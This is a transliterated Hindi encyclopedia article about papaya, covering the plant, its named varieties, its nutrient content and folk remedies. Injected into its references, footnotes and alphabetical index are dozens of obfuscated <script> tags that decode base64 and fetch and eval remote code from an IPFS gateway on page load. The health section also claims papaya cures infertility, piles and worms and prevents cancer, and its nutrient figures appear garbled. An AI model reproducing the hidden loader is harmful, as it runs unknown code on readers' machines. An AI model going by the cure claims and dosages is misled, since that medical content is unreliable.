पपीता

thumb|250px|papita papita svasthavardhak tatha vitamin e se bharapoor phal hota hai. papita trapikal amerika mean paya jata hai. papita ka vanaspatik nam kerika papaya hai. papita kairikesi parivar ka ek mahattvapoorn sadasy hai. papita ek bahulidis paudha hai tatha murakaratay se tin prakar ke liang nar, mada tatha nar v mada donoan liang ek pe d par hote haian. papita ke pake v kachche phal donoan upayogi hote haian. kachchean phal se papen banaya jata hai. jisaka saundary jagath mean tatha udyog jagath mean vyapak prayog kiya jata hai. papita ek sadabahar madhur phal hai, jo svadisht aur ruchikar hota hai. yah hamare desh mean sabhi jagah utpann hota hai. yah barahoan mahine hota hai, lekin yah faravari-march aur mee se aktoobar ke madhy vishesh roop se paida hota hai. isaka kachcha phal hara aur pakane par pile rang ka ho jata hai. paka papita madhur, bhari, garm, snigdh aur sarak hota hai. papita pitt ka shaman tatha bhojan ke prati ruchi utpann karata hai.

papite ki prakriti

papita bahut hi jaldi badhanevala pe d hai. sadharan zamin, thodi garami aur achchhi dhoop mile to yah pe d achchha panapata hai, par ise adhik pani ya zamin mean kshar ki zyada matra ras nahian ati. isaki poori ooanchaee qarib 10-12 phut tak hoti hai. jaise-jaise pe d badhata hai, niche se ek ek patta girata rahata hai aur apana nishan tane par chho d jata hai. tana ekadam sidha hare ya bhoore rang ka aur andar se khokhala hota hai. patte pe d ke sabase oopari hisse mean hi hote haian. ek samay mean ek pe d par 80 se 100 phal tak bhi lag jate haian.
thumb|250px|papita|left pe d ke oopar ke hisse mean pattoan ke ghere ke niche papite ke phal ate haian taki yah pattoan ka ghera komal phal ki suraksha kar sake. kachcha papita hare rang ka aur pakane ke bad hare pile rang ka hota hai. papite ka phal tho da lamba v golakar hota hai tatha gooda pile rang ka hota hai. goode ke bich mean kale rang ke bij hote haian. ajakal nayi jatiyoan mean bina bij ke papite ka avishkar bhi kiya gaya hai. ek papite ka vajan 300, 400 gram se lekar 1 kilo gram tak ho sakata hai.
papite ke pe d nar aur mada alag hote haian lekin kabhi-kabhi ek hi pe d par donoan tarah ke phool khilate haian. havaeeyan aur meksikan papite bahut prasiddh haian. bharatiy papite bhi atyant svadisht hote haian. alag-alag kismoan ke anusar inake svad mean tho di bahut bhinnata ho sakati hai.^[1]

kismean

papite ki mukhy kismoan ka vivaran nimnavat hai-

poosa dolasiyara

yah adhik oopaj dene vali papite ki gainodaisiyash prajati hai. jisamean mada tatha nar-mada do prakar ke phool ek hi paudhe par ate haian pake phal ka svad mitha tatha akarshak sugandh liye hota hai.

poosa mejesti

yah bhi ek gainodaisiyash prajati hai. isaki utpadakata adhik hai, tatha bhandaran kshamata bhi adhik hoti hai. thumb|250px|papite ka phool

poosa jaint

yah bahut adhik vriddhi vali mani jati hai. nar tatha mada phool alag-alag paudhe par paye jate haian. paudhe adhik mazaboot tatha tez hava se girate nahian haian.

poosa dravarph

yah chhoti badhavar vali dadasiyash kism kahi jati hai.jisamean nar tatha mada phool alag alag paudhean par ate haian. phal madhyam tatha oval akar ke hote haian.

poosa nanha

is prajati ka paudh bahut chhote hote haian. tatha yah grihavatika ke lie adhik upayogi hoti hai. sath sath saphal bagavani ke lie bhi upayukt hai.

koyambar-1

paudha chhota tatha daisiyara hota hai. phal madhy akar ke tatha golakar hote haian.

koyambar-3

yah ek gainodaisiyash prajati hai. paudha lamba, mazaboot tatha madhy akar ka phal dene vala hota hai. pake phal mean sharkara ki matra adhik hoti hai. tatha gooda lal rang ka hota hai.

haniiyoo (madhu bindu)

is paudhe mean nar paudhoan ki sankhya kam hoti hai, tatha bij ke prakaran adhik labhadayak hota hai. isaka phal madhyam akar ka bahut mitha tatha khushaboo lie hota hai. thumb|250px|papite ka pe d|left

koorgahani dayoo

yah gainodaisiyash jati hai. isamean nar paudhe nahian hote haian. phal ka akar madhyam tatha lambavat golakar lie hota hai. goode ka rang narangi pila lie hota hai.

vashigantan

yah adhik upaj dene vali vibhinn jalavayu mean ugaee jane vali prajati hai. is paudhe ki pattiyoan ke danthal baigani rang ke hote haian. jo is kism ki pahachan karate haian. yah daisiyan kism haian phal mitha dooda pila tatha achchhi sugandh vala hota hai.

pant papita-1

is kism ka paudha chhota tatha tatha daisiyara hota hai. phal madhyam akar ke gol hote haian. phal mitha tatha sugandhit tatha pila gooda lie hota hai. yah pakakar khane vali achchhi kism hai tatha taraee evan bhavar jaise kshetr mean ugane ke lie adhik upayogi hai.^[2]

rasayanik tatv

papite mean vitamin e, bi aur si, tinoan hi bharapoor matra mean hote haian. isake phayabar apaki aankhoan aur tvacha ke lie bahut hi achchhe hote haian. isamean maujood pratirodhak pradooshan ke khataranak asar se bachate haian.

papite mean pani ka aansh 89.6 pratishat hota hai, jabaki protin 0.5 pratishat, charbi 0.1 pratishat, karbodit padarth 9 pratishat, kshar tattv 0.5 pratishat, kailshiyam 0.01 pratishat aur ph aausphoras 0.01 pratishat hota hai. isamean lauh tattv 0.4 mi.gra./100 gram paya jata hai.
papite mean vitamin 'e' atyadhik matra mean paya jata hai, arthath‌ isamean vitamin 'e' 2025 aan.ra.i. (aantarashtriy eekaee)/100 gram hota hai tatha vitamin 'si' 46 se 136 mi.gra./100 gram paya jata hai. papite mean sthit kul sharkara ka adha bhag glookoz ke roop mean aur adha phal sharkara ke roop mean hota hai.
am ke bad sabase adhik vitamin 'e' papite mean hi hota hai. jaise-jaise yah pakata jata hai, vaise-vaise isamean vitamin 'si' ki matra badhati jati hai.
vaijnanik shodhoan se pata chala hai ki kachche papite mean vitamin 'si' 40 se 90 mi.gra., adhapake papite mean 50 se 90 mi.gra. aur pake papite mean 60 se 140 mi.gra. hota hai. isamean sharkara aur vitamin 'si' mee se aktoobar mahine tak adhik hota hai. papite mean vitamin 'bi1' v 'bi2' bhi kianchit matra mean hota hai.

gun

papita khane se dhatu sanbandhi vikar evan viry ki kami door hoti hai. yah pachan shakti ko sudharata hai tatha pet ke vikaroan ko door karata hai. kachcha papita khane se kaph-vat ki vriddhi hoti hai, lekin yah ajirn, yakrit vikar, bavasir adi rogoan ke lie gunakari hota hai.
papite ke ras mean 'pॅpein' namak ek tattv paya jata hai, jo ahar ko pachane mean atyant madadagar sabit hota hai. isamean dast aur peshab saf lane ka gun hai. jin logoan ko kabj ki shikayat hamesha bani rahati hai, unhean papite ka niyamit sevan karana chahie.
papita netr rogoan mean hitakari hota hai, kyoanki isamean vitamin 'e' prachur matra mean paya jata hai, isake sevan se ratauandhi (rat ko n dikhaee dena) rog ka nivaran hota hai aur aankhoan mean jyoanti badhati hai. papita se raktashuddhi, piliya rog ka nivaran, aniyamit masik dharm mean hitakari tatha sauandary vriddhi mean sahayak hota hai.
kachche papite ko katakar chehare par rag dane se chehare ke kil, kalima, mail v any dag-dhabbe door ho jate haian. isase tvacha mean nikhar ata hai aur vah komal v lavanyayukt ho jati hai. chehare par muanhase hoan to kachche papite ka gooda malean. kuchh dinoan ke prayog se muanhase door ho jaeange aur tvacha mean nikhar a jaega.
tvacha rogoan ke lie to papita ek uttam aushadhi hai. agar ap khaj-khujali, dalad adi se pareshan hoan to kachche papite ka doodh nikalakar un par lagaean. isase khaj-khujali se chhutakara milega aur tvacha komal v chamakili ho jaegi.

thumb|250px|papite

krimi rog se chhutakara pane ke lie kachche papite ka ras pina chahie. yah kriminashak dava hai. yakrit ke lie bhi yah labhadayak hota hai. jin striyoan ka masik dharm aniyamit ho, unhean kachche papite ka ras banakar kuchh dinoan tak niyamit pina chahie. isase masik srav saf aur niyamit ho jaega.
papite mean paya jane vala pॅpein tattv pandurog tatha plihavriddhi mean upayog siddh hota hai. papite mean arjinain namak ek tattv paya jata hai, jo striyoan ka baanjhapan door karane mean sahayak hota hai. papite ka ras 200 mi.gra. se 300 mi.li. tak sevan karana chahie.
papite mean pae jane vale vividh eanjaimoan ke karan kaiansar rog se bachav hota hai, visheshakar aantoan ke kaiansar se.
pet mean ki dean hoan to kachche papite ka ras 20 gram subah-sham piean. isase pet ke ki doan ka nash ho jata hai.
yakrit ya plihavriddhi mean kachche papite ko jira, kali mirch tatha seandha namak ka choorn chhi dak kar khane se labh hota hai.
seandha namak, jira aur niboo ka ras milakar papite ka niyamit sevan karane se mandagni, kabj, ajirn tatha aantoan ki soojan mean kafi labh hota hai.
daantoan se khoon jata ho ya daant hilate hoan to papita khane se ye donoan shikayatean door ho jati haian.
bavasir mean pratidin subah khali pet papita khaean, isase kabj door hogi. shauch saf hoga aur bavasir se chhutakara milega, kyoanki bavasir ka mool karan kabj hi hai.
papite mean papen namak padarth paya jata hai jo maansahar galane ke kam ata hai. bhojan pachane mean bhi yah atyant sahayak hota hai.^[3]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ paushtik papita (ech ti em) abhivyakti. abhigaman tithi: 22 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ papita svasthavardhak tatha vitamin e se bharapoor phal (hindi) egropi diya. abhigaman tithi: 22 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ papita- vitamin 'e' ka khazana (ech ti em) veb duniya. abhigaman tithi: 22 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] ushtik papita (ech ti em) abhivyakti. abhigaman tithi: 22 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] ta svasthavardhak tatha vitamin e se bharapoor phal (hindi) egropi diya. abhigaman tithi: 22 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] ta- vitamin 'e' ka khazana (ech ti em) veb duniya. abhigaman tithi: 22 agast, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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